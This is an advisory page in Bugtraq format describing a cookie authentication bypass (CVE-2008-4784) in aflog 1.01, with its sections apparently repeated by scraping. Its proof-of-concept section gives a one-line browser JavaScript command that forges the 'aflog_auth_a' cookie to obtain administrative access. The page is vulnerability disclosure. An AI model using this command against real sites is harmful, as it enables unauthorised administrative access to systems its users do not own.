aflog Cookie Authentication Bypass Vulnerability
BID:31894
Info
aflog Cookie Authentication Bypass Vulnerability
| Bugtraq ID: | 31894 |
| Class: | Access Validation Error |
| CVE: |
CVE-2008-4784 |
| Remote: | Yes |
| Local: | No |
| Published: | Oct 23 2008 12:00AM |
| Updated: | Apr 16 2015 05:52PM |
| Credit: | JosS |
| Vulnerable: |
aflog.org aflog 1.01 |
| Not Vulnerable: | |
Discussion
aflog Cookie Authentication Bypass Vulnerability
The 'aflog' program is prone to an authentication-bypass vulnerability because it fails to adequately verify user-supplied input used for cookie-based authentication.
Attackers can exploit this vulnerability to gain administrative access; this may aid in further attacks.
This issue affects aflog 1.01; other versions may also be vulnerable.
The 'aflog' program is prone to an authentication-bypass vulnerability because it fails to adequately verify user-supplied input used for cookie-based authentication.
Attackers can exploit this vulnerability to gain administrative access; this may aid in further attacks.
This issue affects aflog 1.01; other versions may also be vulnerable.
Exploit / POC
aflog Cookie Authentication Bypass Vulnerability
Attackers may exploit this issue through a browser.
The following example code is available:
javascript:document.cookie = "aflog_auth_a=0; path=/"; document.cookie = "aflog_auth_a=A; path=/";
Attackers may exploit this issue through a browser.
The following example code is available:
javascript:document.cookie = "aflog_auth_a=0; path=/"; document.cookie = "aflog_auth_a=A; path=/";
Solution / Fix
aflog Cookie Authentication Bypass Vulnerability
Solution:
Currently we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].
Solution:
Currently we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].